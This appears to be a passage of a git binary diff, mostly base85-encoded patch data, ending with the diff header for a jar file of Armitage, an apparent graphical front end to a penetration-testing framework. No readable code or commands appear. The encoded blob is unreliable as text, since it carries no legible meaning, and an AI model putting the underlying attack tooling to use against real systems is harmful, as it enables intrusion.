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 WKr@{>o$YeA%WtbXciJ*nMd?2VizZe8 diff --git a/data/armitage/cortana.jar b/data/armitage/cortana.jar index 7c1da6dbfa1c3265b31fcf73b613ad13d5c408e0..7278e95783ca788ed8ca38071f8b2b9eec3ed38e 100644 GIT binary patch delta 89638 zcmZ6y1yodD)Hh7e4BZ{l-Q5Dx9nv9)AR*l~baxGifOI3>AdS)`jdXWO%ZJSWdB690 zS!>qbXa9Ddb6EGDeeeAo*9*Hf)C-HIrU;LK3kwL~X*+EH)aL6wL0|YY2DFQ4Y$>%>o1RT@<0UUClfdx3Z z7l9Q#C**Y^EK-soJk-<*-uDIAgBO3HozJeuP2rG|R1p5hH`@ykjllVz0_zJsMPUDL zOrG=_5d-TvVM&<(>yH?MMF3Bh0#ZfVMBx3#j`- ze*xdWP+<_XHd_!hUN(s3MLr5*dZ85PuORVS97w4DXOaFb%RlL=DC++sH9_Wmu^C3D zOKL|({f~zh3yT7sGfoufBygfoL#jB?5t8Ciq+S#Qo?U)(;s7Q6MS;!$C(5f-7Y>yF z9k?Ft6-3RI1L6PLH2?CEN29^uV*md)(mz=tDzsueH0Y|yqd_b5LF0P~SdRv++~?UP zM<5pJ|KpMZ9lE&c=+MLi(7FH1lRoJ;I<&YWblMjg9tQOb6~<6~p)nYYFSHp0I+-yT z1W8XAqAxNBOmaxv9ShR`6V3q>noSNS{fpWVCe-u}li@#?1W6)T*e|>~7F5R@i{fRR zi3MHbF05Do# z5Sm|5_!4)6zY40EDwGCgI7Rz|+U+lu*3KHvqP{@YR$4C}lYq9(FM?iMFyO^l#%1D#61z^l z0H>~3P$#?Y9dKCxW@iD>W}+Db21cF&28J|gEgA=6m%@&eH135A#@+Gs10Qjg{c@0d zMM;V7NMz+o6g@&24NGJjK!cO-kLY$o<2sQ1gLEcfWIZEA8tZX*+Z%c zA*hC_K@jtk46cV-)Rn}wMJ^xN&=cfeCqy@XjK=-ngU^ut-mQk24tK|y-^^nE9qEkg zDeh72zHxsD3wT0Z``)eVpG|y|9-!0Hg#N_(=C5q%Z1DD25BSF9!G!SJ1{(bL_*(@+ zR*zcL*0aw6jorGDijqf6*|_FvK5uC$w@~tQZilp9BcgqX&qe;JMl2J9Je1BQm2O&I zz+;{G*|wO`$<&(gsMIivY18U6DpT-BIc0XKj8a_mx004JgzRPe@udlnbjfe2m?e5# z!+g`EdRfdvuCU-;aDaWtbX)xAllI)~uf>Rz_3=!l(xEM*YEfu!zri5ZQYTbp{%J~4 zS+pv}Q$82{96^hNJS7x1>8;;bn0s{F#}~5tS2tI@*(9eeDQxOz)AGXc=n{*wZP|BG 